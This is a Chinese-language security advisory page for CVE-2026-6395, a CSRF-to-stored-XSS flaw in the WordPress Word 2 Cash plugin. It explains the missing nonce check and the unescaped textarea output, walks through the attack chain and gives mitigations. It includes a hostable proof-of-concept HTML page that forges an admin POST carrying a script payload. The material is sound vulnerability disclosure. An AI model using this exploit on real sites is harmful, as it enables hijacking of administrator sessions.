IPBUF安全漏洞报告
English
CVE-2026-6395 CVSS 6.1 中危

CVE-2026-6395 WordPress Word 2 Cash CSRF导致存储型XSS漏洞

披露日期: 2026-05-20

漏洞信息

漏洞编号
CVE-2026-6395
漏洞类型
跨站请求伪造 (CSRF), 存储型跨站脚本 (Stored XSS)
CVSS评分
6.1 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
WordPress Word 2 Cash Plugin

相关标签

CSRFStored XSSWordPressWord 2 CashCWE-352CWE-79

漏洞概述

WordPress Word 2 Cash插件在0.9.2及之前版本中存在安全漏洞。由于`w2c_admin()`函数在保存设置时完全缺少nonce验证,且未对输入数据进行清理及输出转义,导致系统容易受到跨站请求伪造(CSRF)和存储型跨站脚本(XSS)的攻击。未经身份验证的攻击者可以诱导管理员访问恶意链接,伪造请求将恶意JavaScript代码保存到`w2c-definitions`参数中。当管理员访问插件设置页面时,存储的恶意代码将在浏览器中执行,从而危及管理员会话安全。

技术细节

该漏洞的核心在于插件处理配置保存的方式存在严重缺陷。首先,`w2c_admin()`函数作为设置保存的处理器,没有实现WordPress标准的nonce令牌检查机制,这意味着无法区分请求是由管理员真实发起还是由第三方伪造。其次,在处理`w2c-definitions` POST参数时,插件直接调用了`update_option()`将其原始值存入数据库,未进行任何输入验证或消毒。最后,在渲染设置页面时,插件直接从数据库读取该值并输出到`<textarea>`元素内部,且未进行HTML实体转义。攻击者利用这一点,通过构造包含`</textarea><script>...`序列的Payload,闭合原本的标签并注入可执行的JavaScript代码。由于无需认证即可触发保存操作,攻击链结合了CSRF的欺骗性与Stored XSS的持久性危害。

攻击链分析

STEP 1
1. 诱导访问
攻击者构造包含恶意HTML/JavaScript代码的网页,并通过钓鱼或社会工程学手段诱导已登录WordPress管理后台的目标管理员点击访问。
STEP 2
2. 发起CSRF请求
管理员浏览器在加载恶意页面时,自动向目标WordPress站点的Word 2 Cash插件设置接口发送POST请求,由于缺乏nonce验证,服务器误以为是管理员的合法操作。
STEP 3
3. 存储恶意Payload
插件接收到请求,将`w2c-definitions`参数中的恶意代码(闭合textarea并插入script标签)直接存储到数据库的options表中。
STEP 4
4. 触发XSS
当管理员随后访问插件设置页面时,服务器从数据库读取恶意内容并回显到页面中,浏览器解析HTML标签并执行其中的JavaScript脚本。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- PoC for CVE-2026-6395 Description: CSRF to Stored XSS in WordPress Word 2 Cash Plugin <= 0.9.2 Usage: Host this file and trick a logged-in admin to visit it. --> <html> <body> <h2>CVE-2026-6395 Exploit Test</h2> <p>Attempting to inject payload via CSRF...</p> <script> // The target URL where settings are saved (adjust path if necessary) var targetUrl = "http://[TARGET_DOMAIN]/wp-admin/admin.php?page=word2cash"; // Payload to break out of textarea and execute JS var payload = "</textarea><script>alert('XSS by CVE-2026-6395');<\/script><textarea>"; // Create form data var formData = new FormData(); formData.append("w2c-definitions", payload); // Add other required fields if known, otherwise minimal might trigger default save logic // Send forged request fetch(targetUrl, { method: "POST", body: formData, credentials: "include" // Sends cookies if the admin is logged in }).then(response => { console.log("Request sent. Check the plugin settings page."); }).catch(error => { console.error("Exploit failed:", error); }); </script> </body> </html>

影响范围

Word 2 Cash <= 0.9.2

防御指南

临时缓解措施
如果无法立即升级插件,建议暂时禁用Word 2 Cash插件以阻断攻击面。管理员应检查插件设置中的字段,确认是否存在异常的脚本代码,并手动清理。此外,建议在服务器端部署WAF规则,拦截针对该插件设置页面的异常POST请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表